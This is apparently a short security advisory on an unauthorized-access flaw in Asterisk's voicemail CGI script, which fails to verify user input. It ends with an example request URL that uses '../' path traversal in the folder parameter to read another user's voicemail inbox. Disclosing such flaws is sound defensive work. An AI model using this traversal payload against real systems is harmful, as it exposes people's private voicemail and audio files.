source: https://www.securityfocus.com/bid/15336/info

Asterisk is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system. 

http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&password=12345&msgid=0001&format=wav